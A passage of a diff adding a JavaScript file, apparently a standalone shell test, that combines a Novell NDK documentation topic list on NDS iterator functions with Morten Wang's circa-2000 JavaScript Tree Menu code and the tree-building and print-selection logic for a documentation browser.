+
+top.authors[i] = "zHTML xD.5375.0400.0001.0005.";
+top.titles[i] = "Current Position Movement with Retrieval Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0001.0006.";
+top.titles[i] = "Retrieval of Data";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0400.0002.";
+top.titles[i] = "Tasks";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0002.0001.";
+top.titles[i] = "Creating a Search Iterator Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0002.0002.";
+top.titles[i] = "Retrieving and Unpacking Object and Attribute Name Data";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0002.0003.";
+top.titles[i] = "Retrieving and Unpacking Object, Attribute, and Value Data";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0400.0003.";
+top.titles[i] = "Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0001.";
+top.titles[i] = "NWDSItrAtEOF";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0002.";
+top.titles[i] = "NWDSItrAtFirst";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0003.";
+top.titles[i] = "NWDSItrClone";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0004.";
+top.titles[i] = "NWDSItrCount";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0005.";
+top.titles[i] = "NWDSItrCreateList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0006.";
+top.titles[i] = "NWDSItrCreateSearch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0007.";
+top.titles[i] = "NWDSItrDestroy";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0008.";
+top.titles[i] = "NWDSItrGetCurrent";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0009.";
+top.titles[i] = "NWDSItrGetInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0010.";
+top.titles[i] = "NWDSItrGetNext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0011.";
+top.titles[i] = "NWDSItrGetPosition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0012.";
+top.titles[i] = "NWDSItrGetPrev";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0013.";
+top.titles[i] = "NWDSItrSetPosition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0014.";
+top.titles[i] = "NWDSItrSetPositionFromIterator";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0015.";
+top.titles[i] = "NWDSItrSkip";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0003.0016.";
+top.titles[i] = "NWDSItrTypeDown";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0400.0004.";
+top.titles[i] = "NDS Iterator Example Code";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0001.";
+top.titles[i] = "Cloning an Iterator Object: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0002.";
+top.titles[i] = "Counting with NDS Iterators: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0003.";
+top.titles[i] = "Creating and Using a List Iterator: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0004.";
+top.titles[i] = "Creating a Search Iterator and Displaying the Results: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0005.";
+top.titles[i] = "Getting Iterator Information: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0006.";
+top.titles[i] = "Getting and Setting the Iterator's Position: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0007.";
+top.titles[i] = "Listing in Reverse Order: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0008.";
+top.titles[i] = "Positioning the Iterator with Typedown: Example";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0400.0004.0009.";
+top.titles[i] = "Skipping Objects in the List: Example";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0400.0005.";
+top.titles[i] = "Revision History";
+i++;
+
+
+// Morten's JavaScript Tree Menu
+// written by Morten Wang <morten@treemenu.com> (c) 1998-2000
+// This is version 2.2.6, dated 2000-03-30
+
+// The script is freely distributable
+// It may be used (and modified) as you wish, but retain this message
+// For more information about the menu visit its home page
+// http://www.treemenu.com/
+
+/******************************************************************************
+ * Define the MenuItem object. *
+ ******************************************************************************/
+
+function MTMenuItem(text, url, target,nsearchID, icon) {
+ this.text = text;
+ this.url = url ? url : "";
+ this.target = target ? target : "";
+ this.icon = icon ? icon : "";
+ this.nsearchID = nsearchID;
+
+ this.number = MTMSubNumber++;
+ this.parent = null;
+ this.submenu = null;
+ this.expanded = false;
+ this.selected = false;
+ this.childSelected = false;
+
+ this.MTMakeSubmenu = MTMakeSubmenu;
+
+}
+
+function MTMakeSubmenu(menu) {
+ this.submenu = menu;
+ for (var i = 0; i < menu.items.length; i++)
+ {
+ menu.items[i].parent = this;
+ }
+}
+
+
+
+function getChildrenChecked(item, selected)
+{
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ item.submenu.items[x].selected = selected;
+ item.submenu.items[x].childSelected = false;
+ MarkChildren(item.submenu.items[x],selected);
+ }
+ }
+}
+
+/******************************************************************************
+ * Define the Menu object. *
+ ******************************************************************************/
+
+function MTMenu() {
+ this.items = new Array();
+ this.MTMAddItem = MTMAddItem;
+}
+
+function MTMAddItem(item) {
+ this.items[this.items.length] = item;
+}
+
+/******************************************************************************
+ * Define the icon list, addIcon function and MTMIcon item. *
+ ******************************************************************************/
+
+function IconList() {
+ this.items = new Array();
+ this.addIcon = addIcon;
+}
+
+function addIcon(item) {
+ this.items[this.items.length] = item;
+}
+
+function MTMIcon(iconfile, match, type) {
+ this.file = iconfile;
+ this.match = match;
+ this.type = type;
+}
+
+/******************************************************************************
+ * Global variables. Not to be altered unless you know what you're doing. *
+ * User-configurable options are at the end of this document. *
+ ******************************************************************************/
+
+var MTMLoaded = false;
+var MTMLevel;
+var MTMBar = new Array();
+var MTMIndices = new Array();
+var MTMBrowser = null;
+var MTMNN3 = false;
+var MTMNN4 = false;
+var MTMIE4 = false;
+var MTMUseStyle = true;
+
+/*
+ * (For a standalone JS shell test, we will simply set these as follows:)
+ */
+MTMBrowser = true;
+MTMNN4 = true;
+
+
+var MTMClickedItem = false;
+var MTMExpansion = false;
+
+var MTMSubNumber = 1;
+var MTMTrackedItem = false;
+var MTMTrack = false;
+
+var MTMPreHREF = "";
+if(MTMIE4 || MTMNN3) {
+ MTMPreHREF += ""; // document.location.href.substring(0, document.location.href.lastIndexOf("/") +1);
+}
+
+var MTMFirstRun = true;
+var MTMCurrentTime = 0; // for checking timeout.
+var MTMUpdating = false;
+var MTMWinSize, MTMyval;
+var MTMOutputString = "";
+
+/******************************************************************************
+ * Code that picks up frame names of frames in the parent frameset. *
+ ******************************************************************************/
+
+
+/******************************************************************************
+ * Dummy function for sub-menus without URLs *
+ * Thanks to Michel Plungjan for the advice. :) *
+ ******************************************************************************/
+
+function myVoid() { ; }
+
+/******************************************************************************
+ * Functions to draw the menu. *
+ ******************************************************************************/
+
+function MTMSubAction(SubItem, ReturnValue) {
+
+ SubItem.expanded = (SubItem.expanded) ? false : true;
+ if(SubItem.expanded) {
+ MTMExpansion = true;
+ }
+
+ MTMClickedItem = SubItem.number;
+
+ if(MTMTrackedItem && MTMTrackedItem != SubItem.number) {
+ MTMTrackedItem = false;
+ }
+
+ if(!ReturnValue) {
+ setTimeout("MTMDisplayMenu()", 10);
+ }
+
+ return ReturnValue;
+}
+
+
+function MarkChildren(item, selected)
+{
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ item.submenu.items[x].selected = selected;
+ item.submenu.items[x].childSelected = false;
+ MarkChildren(item.submenu.items[x],selected);
+ }
+ }
+
+}
+
+function isAllChildrenSelected(item)
+{
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ if (!item.submenu.items[x].selected)
+ {
+ return false;
+ }
+ }
+ }
+ return true;
+}
+
+function isSomeChildrenSelected(item)
+{
+ var retValue = false;
+
+ if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ if (item.submenu.items[x].selected || item.submenu.items[x].childSelected)
+ {
+ retValue = true;
+ }
+ }
+ }
+
+ return retValue;
+}
+
+function ToggleSelected(item, ReturnValue) {
+
+ item.selected = (item.selected) ? false : true;
+ item.childSelected = false;
+
+ var currentNode = item;
+
+ while (currentNode.parent)
+ {
+ currentNode.parent.selected = isAllChildrenSelected(currentNode.parent);
+ currentNode.parent.childSelected = isSomeChildrenSelected(currentNode.parent);
+ currentNode = currentNode.parent;
+ }
+
+ MarkChildren(item,item.selected);
+
+ if(!ReturnValue) {
+ setTimeout("MTMDisplayMenu()", 10);
+ }
+
+ return ReturnValue;
+}
+
+
+function MTMStartMenu() {
+ MTMLoaded = true;
+ if(MTMFirstRun) {
+ MTMCurrentTime++;
+ if(MTMCurrentTime == MTMTimeOut) { // call MTMDisplayMenu
+ setTimeout("MTMDisplayMenu()",10);
+ } else {
+ setTimeout("MTMStartMenu()",100);
+ }
+ }
+}
+
+function MTMDisplayMenu() {
+ if(MTMBrowser && !MTMUpdating) {
+ MTMUpdating = true;
+ MTMFirstRun = false;
+
+ if(MTMTrack) { MTMTrackedItem = MTMTrackExpand(menu); }
+
+ if(MTMExpansion && MTMSubsAutoClose) { MTMCloseSubs(menu); }
+
+ MTMLevel = 0;
+ MTMDoc = parent.frames[MTMenuFrame].document
+ MTMDoc.open("text/html", "replace");
+ MTMOutputString = '<html><head>';
+ if(MTMLinkedSS) {
+ MTMOutputString += '<link rel="stylesheet" type="text/css" href="' + MTMPreHREF + MTMSSHREF + '">';
+ } else if(MTMUseStyle) {
+ MTMOutputString += '<style type="text/css">body {color:' + MTMTextColor + ';background:';
+ MTMOutputString += (MTMBackground == "") ? MTMBGColor : MTMakeBackImage(MTMBackground);
+ MTMOutputString += ';} #root {color:' + MTMRootColor + ';background:' + ((MTMBackground == "") ? MTMBGColor : 'transparent') + ';font-family:' + MTMRootFont + ';font-size:' + MTMRootCSSize + ';} ';
+ MTMOutputString += 'a {font-family:' + MTMenuFont + ';letter-spacing:-0.05em;font-weight:bold;font-size:' + MTMenuCSSize + ';text-decoration:none;color:' + MTMLinkColor + ';background:' + MTMakeBackground() + ';} ';
+ MTMOutputString += MTMakeA('pseudo', 'hover', MTMAhoverColor);
+ MTMOutputString += MTMakeA('class', 'tracked', MTMTrackColor);
+ MTMOutputString += MTMakeA('class', 'subexpanded', MTMSubExpandColor);
+ MTMOutputString += MTMakeA('class', 'subclosed', MTMSubClosedColor) + '</style>';
+ }
+
+ MTMOutputString += '</head><body ';
+ if(MTMBackground != "") {
+ MTMOutputString += 'background="' + MTMPreHREF + MTMenuImageDirectory + MTMBackground + '" ';
+ }
+ MTMOutputString += 'bgcolor="' + MTMBGColor + '" text="' + MTMTextColor + '" link="' + MTMLinkColor + '" vlink="' + MTMLinkColor + '" alink="' + MTMLinkColor + '">';
+
+ MTMOutputString += '<table border="0" cellpadding="0" cellspacing="0" width="' + MTMTableWidth + '">';
+ MTMOutputString += '<tr valign="top"><td nowrap>'; //REMOVED ROOT ICON <img src="' + MTMPreHREF + MTMenuImageDirectory + MTMRootIcon + '" align="left" border="0" vspace="0" hspace="0">';
+ if(MTMUseStyle) {
+ MTMOutputString += ''; //REMOVED ROOT CAPTION <span id="root">&nbsp;' + MTMenuText + '</span>';
+ } else {
+ MTMOutputString += ''; //REMOVED ROOT CAPTION <font size="' + MTMRootFontSize + '" face="' + MTMRootFont + '" color="' + MTMRootColor + '">' + MTMenuText + '</font>';
+ }
+ MTMDoc.writeln(MTMOutputString + '</td></tr>');
+
+ MTMListItems(menu);
+ MTMDoc.writeln('</table>');
+
+ MTMDoc.writeln('</body></html>');
+ MTMDoc.close();
+
+ if((MTMClickedItem || MTMTrackedItem) && (MTMNN4 || MTMIE4) && !MTMFirstRun) {
+ MTMItemName = "sub" + (MTMClickedItem ? MTMClickedItem : MTMTrackedItem);
+ if(document.layers && parent.frames[MTMenuFrame].scrollbars) {
+ MTMyval = parent.frames[MTMenuFrame].document.anchors[MTMItemName].y;
+ MTMWinSize = parent.frames[MTMenuFrame].innerHeight;
+ } else {
+ MTMyval = MTMGetPos(parent.frames[MTMenuFrame].document.all[MTMItemName]);
+ MTMWinSize = parent.frames[MTMenuFrame].document.body.offsetHeight;
+ }
+ if(MTMyval > (MTMWinSize - 60)) {
+ parent.frames[MTMenuFrame].scrollBy(0, parseInt(MTMyval - (MTMWinSize * 1/3)));
+ }
+ }
+
+ MTMClickedItem = false;
+ MTMExpansion = false;
+ MTMTrack = false;
+ }
+ MTMUpdating = false;
+}
+
+function MTMListItems(menu) {
+ var i, isLast;
+ for (i = 0; i < menu.items.length; i++) {
+ MTMIndices[MTMLevel] = i;
+ isLast = (i == menu.items.length -1);
+ MTMDisplayItem(menu.items[i], isLast);
+
+ if (menu.items[i].submenu && menu.items[i].expanded) {
+ MTMBar[MTMLevel] = (isLast) ? false : true;
+ MTMLevel++;
+ MTMListItems(menu.items[i].submenu);
+ MTMLevel--;
+ } else {
+ MTMBar[MTMLevel] = false;
+ }
+ }
+
+}
+
+function MTMDisplayItem(item, last) {
+ var i, img, more;
+
+ var MTMfrm = "parent.frames['code']";
+ var MTMref = '.menu.items[' + MTMIndices[0] + ']';
+
+ if(item.submenu) {
+ var MTMouseOverText;
+
+ var MTMClickCmd;
+ var MTMDblClickCmd = false;
+
+
+ if(MTMLevel > 0) {
+ for(i = 1; i <= MTMLevel; i++) {
+ MTMref += ".submenu.items[" + MTMIndices[i] + "]";
+ }
+ }
+
+ if(!MTMEmulateWE && !item.expanded && (item.url != "")) {
+ MTMClickCmd = "return " + MTMfrm + ".MTMSubAction(" + MTMfrm + MTMref + ",true);";
+ } else {
+ MTMClickCmd = "return " + MTMfrm + ".MTMSubAction(" + MTMfrm + MTMref + ",false);";
+ }
+
+ if(item.url == "") {
+ MTMouseOverText = (item.text.indexOf("'") != -1) ? MTMEscapeQuotes(item.text) : item.text;
+ } else {
+ MTMouseOverText = "Expand/Collapse";
+ }
+ }
+
+ MTMOutputString = '<tr valign="top"><td nowrap>';
+ if(MTMLevel > 0) {
+ for (i = 0; i < MTMLevel; i++) {
+ MTMOutputString += (MTMBar[i]) ? MTMakeImage("menu_bar.gif") : MTMakeImage("menu_pixel.gif");
+ }
+ }
+
+ more = false;
+ if(item.submenu) {
+ if(MTMSubsGetPlus || MTMEmulateWE) {
+ more = true;
+ } else {
+ for (i = 0; i < item.submenu.items.length; i++) {
+ if (item.submenu.items[i].submenu) {
+ more = true;
+ }
+ }
+ }
+ }
+ if(!more) {
+ img = (last) ? "menu_corner.gif" : "menu_tee.gif";
+ } else {
+ if(item.expanded) {
+ img = (last) ? "menu_corner_minus.gif" : "menu_tee_minus.gif";
+ } else {
+ img = (last) ? "menu_corner_plus.gif" : "menu_tee_plus.gif";
+ }
+ if(item.url == "" || item.expanded || MTMEmulateWE) {
+ MTMOutputString += MTMakeVoid(item, MTMClickCmd, MTMouseOverText);
+ } else {
+ MTMOutputString += MTMakeLink(item, true) + ' onclick="' + MTMClickCmd + '">';
+ }
+ }
+ MTMOutputString += MTMakeImage(img);
+/////////////////////////////////////////
+
+ var MTMCheckRef = '.menu.items[' + MTMIndices[0] + ']';
+ if(MTMLevel > 0) {
+ for(i = 1; i <= MTMLevel; i++) {
+ MTMCheckRef += ".submenu.items[" + MTMIndices[i] + "]";
+ }
+ }
+
+ MTMOutputString += MTMakeVoid(item, "return " + MTMfrm + ".ToggleSelected(" + MTMfrm + MTMCheckRef + ",false);", "Checked Status") ;
+ var checkedImage = item.selected ? "checked.gif" : "uchecked.gif";
+ if (!item.selected)
+ {
+ checkedImage = item.childSelected ? "gchecked.gif" : "uchecked.gif";
+ }
+ MTMOutputString += MTMakeImage(checkedImage);
+ MTMOutputString += '</a>';
+/////////////////////////////////////////////////
+
+
+ if(item.submenu) {
+ if(MTMEmulateWE && item.url != "")
+ {
+ MTMOutputString += '</a>' + MTMakeLink(item, false) + '>';
+ }
+
+ img = (item.expanded) ? "menu_folder_open.gif" : "menu_folder_closed.gif";
+
+ if(!more) {
+ if(item.url == "" || item.expanded) {
+ MTMOutputString += MTMakeVoid(item, MTMClickCmd, MTMouseOverText);
+ } else {
+ MTMOutputString += MTMakeLink(item, true) + ' onclick="' + MTMClickCmd + '">';
+ }
+ }
+ MTMOutputString += MTMakeImage(img);
+
+ } else {
+ MTMOutputString += MTMakeLink(item, true) + '>';
+ img = (item.icon != "") ? item.icon : MTMFetchIcon(item.url);
+ MTMOutputString += MTMakeImage(img);
+ }
+
+ if(item.submenu && (item.url != "") && (item.expanded && !MTMEmulateWE)) {
+ MTMOutputString += '</a>' + MTMakeLink(item, false) + '>';
+ }
+
+ if(MTMNN3 && !MTMLinkedSS) {
+ var stringColor;
+ if(item.submenu && (item.url == "") && (item.number == MTMClickedItem)) {
+ stringColor = (item.expanded) ? MTMSubExpandColor : MTMSubClosedColor;
+ } else if(MTMTrackedItem && MTMTrackedItem == item.number) {
+ stringColor = MTMTrackColor;
+ } else {
+ stringColor = MTMLinkColor;
+ }
+ MTMOutputString += '<font color="' + stringColor + '" size="' + MTMenuFontSize + '" face="' + MTMenuFont + '">';
+ }
+ MTMOutputString += '&nbsp;' + item.text + ((MTMNN3 && !MTMLinkedSS) ? '</font>' : '') + '</a>' ;
+ MTMDoc.writeln(MTMOutputString + '</td></tr>');
+}
+
+function MTMEscapeQuotes(myString) {
+ var newString = "";
+ var cur_pos = myString.indexOf("'");
+ var prev_pos = 0;
+ while (cur_pos != -1) {
+ if(cur_pos == 0) {
+ newString += "\\";
+ } else if(myString.charAt(cur_pos-1) != "\\") {
+ newString += myString.substring(prev_pos, cur_pos) + "\\";
+ } else if(myString.charAt(cur_pos-1) == "\\") {
+ newString += myString.substring(prev_pos, cur_pos);
+ }
+ prev_pos = cur_pos++;
+ cur_pos = myString.indexOf("'", cur_pos);
+ }
+ return(newString + myString.substring(prev_pos, myString.length));
+}
+
+function MTMTrackExpand(thisMenu) {
+ var i, targetPath;
+ var foundNumber = false;
+ for(i = 0; i < thisMenu.items.length; i++) {
+ if(thisMenu.items[i].url != "" && MTMTrackTarget(thisMenu.items[i].target)) {
+ targetPath = parent.frames[thisMenu.items[i].target].location.protocol + '//' + parent.frames[thisMenu.items[i].target].location.host + parent.frames[thisMenu.items[i].target].location.pathname;
+
+ if(targetPath.lastIndexOf(thisMenu.items[i].url) != -1 && (targetPath.lastIndexOf(thisMenu.items[i].url) + thisMenu.items[i].url.length) == targetPath.length) {
+ return(thisMenu.items[i].number);
+ }
+ }
+ if(thisMenu.items[i].submenu) {
+ foundNumber = MTMTrackExpand(thisMenu.items[i].submenu);
+ if(foundNumber) {
+ if(!thisMenu.items[i].expanded) {
+ thisMenu.items[i].expanded = true;
+ if(!MTMClickedItem) { MTMClickedItem = thisMenu.items[i].number; }
+ MTMExpansion = true;
+ }
+ return(foundNumber);
+ }
+ }
+ }
+ return(foundNumber);
+}
+
+function MTMCloseSubs(thisMenu) {
+ var i, j;
+ var foundMatch = false;
+ for(i = 0; i < thisMenu.items.length; i++) {
+ if(thisMenu.items[i].submenu && thisMenu.items[i].expanded) {
+ if(thisMenu.items[i].number == MTMClickedItem) {
+ foundMatch = true;
+ for(j = 0; j < thisMenu.items[i].submenu.items.length; j++) {
+ if(thisMenu.items[i].submenu.items[j].expanded) {
+ thisMenu.items[i].submenu.items[j].expanded = false;
+ }
+ }
+ } else {
+ if(foundMatch) {
+ thisMenu.items[i].expanded = false;
+ } else {
+ foundMatch = MTMCloseSubs(thisMenu.items[i].submenu);
+ if(!foundMatch) {
+ thisMenu.items[i].expanded = false;
+ }
+ }
+ }
+ }
+ }
+ return(foundMatch);
+}
+
+function MTMFetchIcon(testString) {
+ var i;
+ for(i = 0; i < MTMIconList.items.length; i++) {
+ if((MTMIconList.items[i].type == 'any') && (testString.indexOf(MTMIconList.items[i].match) != -1)) {
+ return(MTMIconList.items[i].file);
+ } else if((MTMIconList.items[i].type == 'pre') && (testString.indexOf(MTMIconList.items[i].match) == 0)) {
+ return(MTMIconList.items[i].file);
+ } else if((MTMIconList.items[i].type == 'post') && (testString.indexOf(MTMIconList.items[i].match) != -1)) {
+ if((testString.lastIndexOf(MTMIconList.items[i].match) + MTMIconList.items[i].match.length) == testString.length) {
+ return(MTMIconList.items[i].file);
+ }
+ }
+ }
+ return("menu_link_default.gif");
+}
+
+function MTMGetPos(myObj) {
+ return(myObj.offsetTop + ((myObj.offsetParent) ? MTMGetPos(myObj.offsetParent) : 0));
+}
+
+function MTMCheckURL(myURL) {
+ var tempString = "";
+ if((myURL.indexOf("http://") == 0) || (myURL.indexOf("https://") == 0) || (myURL.indexOf("mailto:") == 0) || (myURL.indexOf("ftp://") == 0) || (myURL.indexOf("telnet:") == 0) || (myURL.indexOf("news:") == 0) || (myURL.indexOf("gopher:") == 0) || (myURL.indexOf("nntp:") == 0) || (myURL.indexOf("javascript:") == 0)) {
+ tempString += myURL;
+ } else {
+ tempString += MTMPreHREF + myURL;
+ }
+ return(tempString);
+}
+
+function MTMakeVoid(thisItem, thisCmd, thisText) {
+ var tempString = "";
+ tempString += '<a name="sub' + thisItem.number + '" href="javascript:parent.frames[\'code\'].myVoid();" onclick="' + thisCmd + '" onmouseover="window.status=\'' + thisText + '\';return true;" onmouseout="window.status=\'' + window.defaultStatus.replace(/'/g,"") + '\';return true;"';
+ if(thisItem.number == MTMClickedItem) {
+ var tempClass;
+ tempClass = thisItem.expanded ? "subexpanded" : "subclosed";
+ tempString += ' class="' + tempClass + '"';
+ }
+ return(tempString + '>');
+}
+
+function MTMakeLink(thisItem, addName) {
+ var tempString = '<a';
+
+ if(MTMTrackedItem && MTMTrackedItem == thisItem.number) {
+ tempString += ' class="tracked"'
+ }
+ if(addName) {
+ tempString += ' name="sub' + thisItem.number + '"';
+ }
+ tempString += ' href="' + MTMCheckURL(thisItem.url) + '"';
+ if(thisItem.target != "") {
+ tempString += ' target="' + thisItem.target + '"';
+ }
+return tempString;
+}
+
+function MTMakeImage(thisImage) {
+ return('<img src="' + MTMPreHREF + MTMenuImageDirectory + thisImage + '" align="left" border="0" vspace="0" hspace="0" width="18" height="18">');
+}
+
+function MTMakeBackImage(thisImage) {
+ var tempString = 'transparent url("' + ((MTMPreHREF == "") ? "" : MTMPreHREF);
+ tempString += MTMenuImageDirectory + thisImage + '")'
+ return(tempString);
+}
+
+function MTMakeA(thisType, thisText, thisColor) {
+ var tempString = "";
+ tempString += 'a' + ((thisType == "pseudo") ? ':' : '.');
+ return(tempString + thisText + '{color:' + thisColor + ';background:' + MTMakeBackground() + ';}');
+}
+
+function MTMakeBackground() {
+ return((MTMBackground == "") ? MTMBGColor : 'transparent');
+}
+
+function MTMTrackTarget(thisTarget) {
+ if(thisTarget.charAt(0) == "_") {
+ return false;
+ } else {
+ for(i = 0; i < MTMFrameNames.length; i++) {
+ if(thisTarget == MTMFrameNames[i]) {
+ return true;
+ }
+ }
+ }
+ return false;
+}
+
+
+
+
+/******************************************************************************
+ * User-configurable options. *
+ ******************************************************************************/
+
+// Menu table width, either a pixel-value (number) or a percentage value.
+var MTMTableWidth = "100%";
+
+// Name of the frame where the menu is to appear.
+var MTMenuFrame = "tocmain";
+
+// variable for determining whether a sub-menu always gets a plus-sign
+// regardless of whether it holds another sub-menu or not
+var MTMSubsGetPlus = true;
+
+
+// variable that defines whether the menu emulates the behaviour of
+// Windows Explorer
+var MTMEmulateWE = true;
+
+// Directory of menu images/icons
+var MTMenuImageDirectory = "/ndk/doc/docui2k/menu-images/";
+
+// Variables for controlling colors in the menu document.
+// Regular BODY atttributes as in HTML documents.
+var MTMBGColor = "#cc0000";
+var MTMBackground = "";
+var MTMTextColor = "white";
+
+// color for all menu items
+var MTMLinkColor = "#ffffcc";
+
+// Hover color, when the mouse is over a menu link
+var MTMAhoverColor = "#FF9933";
+
+// Foreground color for the tracking & clicked submenu item
+var MTMTrackColor ="#FF9933";
+var MTMSubExpandColor = "#ffffcc";
+var MTMSubClosedColor = "#ffffcc";
+
+// All options regarding the root text and it's icon
+var MTMRootIcon = "menu_new_root.gif";
+var MTMenuText = "Site contents:";
+var MTMRootColor = "white";
+var MTMRootFont = "Verdana";
+var MTMRootCSSize = "84%";
+var MTMRootFontSize = "-1";
+
+// Font for menu items.
+var MTMenuFont = "Verdana";
+var MTMenuCSSize = "74%";
+var MTMenuFontSize = "-1";
+
+// Variables for style sheet usage
+// 'true' means use a linked style sheet.
+var MTMLinkedSS = false;
+var MTMSSHREF = "style/menu.css";
+
+// Whether you want an open sub-menu to close automagically
+// when another sub-menu is opened. 'true' means auto-close
+var MTMSubsAutoClose = false;
+
+// This variable controls how long it will take for the menu
+// to appear if the tracking code in the content frame has
+// failed to display the menu. Number if in tenths of a second
+// (1/10) so 10 means "wait 1 second".
+var MTMTimeOut = 25;
+
+/******************************************************************************
+ * User-configurable list of icons. *
+ ******************************************************************************/
+
+var MTMIconList = null;
+MTMIconList = new IconList();
+// examples:
+//MTMIconList.addIcon(new MTMIcon("menu_link_external.gif", "http://", "pre"));
+//MTMIconList.addIcon(new MTMIcon("menu_link_pdf.gif", ".pdf", "post"));
+
+/******************************************************************************
+ * User-configurable menu. *
+ ******************************************************************************/
+
+
+// navigation link is an object used to store the extracted information from
+// the search request. The stored information will be used to build the
+// navigation tree.
+ function navigationLink(title,URL,level,elementIndex,levelIndex,parentIndex,author)
+ {
+ var returnArray = new Array();
+ returnArray.title = title;
+ returnArray.URL = URL;
+ returnArray.level = level;
+ returnArray.hasChild = false;
+ returnArray.elementIndex = elementIndex;
+ returnArray.parentIndex = parentIndex;
+ returnArray.levelIndex = levelIndex;
+ returnArray.author = author;
+
+ return returnArray;
+ }
+
+// Variables used for tracking state as the search iterates through the list
+// of documents returned.
+ var index = 0;
+ var currentLevel = 0;
+ var levelParents = new Array();
+ var levelIndexes = new Array();
+ var navigationTree = new Array();
+ var treeNodes = new Array();
+ var levelIndex = 0;
+ top.printList = "";
+ top.printCount = 0;
+
+// asign the menu handle to the created tree
+ var menu = null;
+
+
+ function getNextChecked(item)
+ {
+ // case that root of tree is selected
+ if ( item.parent == null && item.selected)
+ {
+ for (var i = 0 ; i < top.authors.length; i++)
+ {
+ var re = /\s$/;
+
+ if (top.titles[i].replace(re,"") == item.text.replace(re,""))
+ {
+ top.printList += (top.authors[i].length + 3) + "_" + top.authors[i].replace(/\s/g,"+") + "+en";
+ top.printCount ++;
+ }
+ }
+ }
+ else if (item.submenu != null)
+ {
+ for (var x = 0; x < item.submenu.items.length; x++)
+ {
+ if (item.submenu.items[x].selected)
+ {
+ var name = item.submenu.items[x].text;
+ for (var i = 0 ; i < top.authors.length; i++)
+ {
+ var re = /\s$/;
+ if (top.titles[i].replace(re,"") == name.replace(re,""))
+ {
+ top.printList += (top.authors[i].length + 3) + "_" + top.authors[i].replace(/\s/g,"+") + "+en";
+ top.printCount ++;
+ }
+ }
+
+ }
+ else
+ {
+ getNextChecked(item.submenu.items[x]);
+ }
+ }
+ }
+
+ }
+
+// Get a URL to pass checked topics to the Print Servlet
+
+
+
+ function getPrintUrl(menu)
+ {
+ top.printList = "";
+ top.printCount = 0;
+
+ getNextChecked(menu.items[0]);
+ top.printList = top.printCount + "_" + top.printList;
+
+ return top.printList;
+ }
+
+ function setLevels()
+ {
+
+ // Tracking the parent of the next node.
+ levelParents[currentLevel + 1] = index;
+
+ // levelIndex is the child index under a branch
+ if (levelIndexes[currentLevel] == null)
+ {
+ levelIndexes[currentLevel] = 0;
+ }
+ else
+ {
+ levelIndexes[currentLevel] = levelIndexes[currentLevel] + 1;
+ levelIndexes[currentLevel + 1] = -1;
+ }
+ }
+
+ function buildTree()
+ {
+
+// Determine which nodes have children and assign the correct property
+ for (var i = 0; i < navigationTree.length-1; i++)
+ {
+ // see if the current node has chilren
+ var thisLevel = navigationTree[i]["level"];
+ var nextLevel = navigationTree[i+1]["level"];
+
+ if (nextLevel > thisLevel)
+ {
+ navigationTree[i]["hasChild"] = true;
+ }
+ else
+ {
+ navigationTree[i]["hasChild"] = false;
+ }
+ }
+
+
+// create tree object nodes.
+ for( var j = 0; j < navigationTree.length; j++)
+ {
+ treeNodes[j] = null;
+ treeNodes[j] = new MTMenu();
+ }
+
+
+// add all items to nodes -
+// NOTE, index to add to is the parent index + 1 for node tree offset of root=0
+ for( var j3 = 0; j3 < navigationTree.length; j3++)
+ {
+ if (navigationTree[j3]["parentIndex"] == null)
+ {
+ var nsearchID = navigationTree[j3]["author"];
+ treeNodes[0].MTMAddItem(new MTMenuItem(navigationTree[j3]["title"], navigationTree[j3]["URL"].replace(/http...developer.novell.com.ndk/gi,"/ndk") , "content_frame", nsearchID));
+ }
+ else
+ {
+ var nsearchID = navigationTree[j3]["author"];
+ treeNodes[navigationTree[j3]["parentIndex"] + 1 ].MTMAddItem(new MTMenuItem(navigationTree[j3]["title"], navigationTree[j3]["URL"].replace(/http...developer.novell.com.ndk/gi,"/ndk"), "content_frame",nsearchID));
+ }
+ }
+
+// create submenu structure
+// NOTE: add 1 to parent nodes for root = 0 offset.
+ for( var j4 = 0; j4 < navigationTree.length; j4++)
+ {
+ if (navigationTree[j4]["hasChild"])
+ {
+ var pindex = null;
+ if (navigationTree[j4]["parentIndex"] == null)
+ {
+
+ pindex = 0;
+ }
+ else
+ {
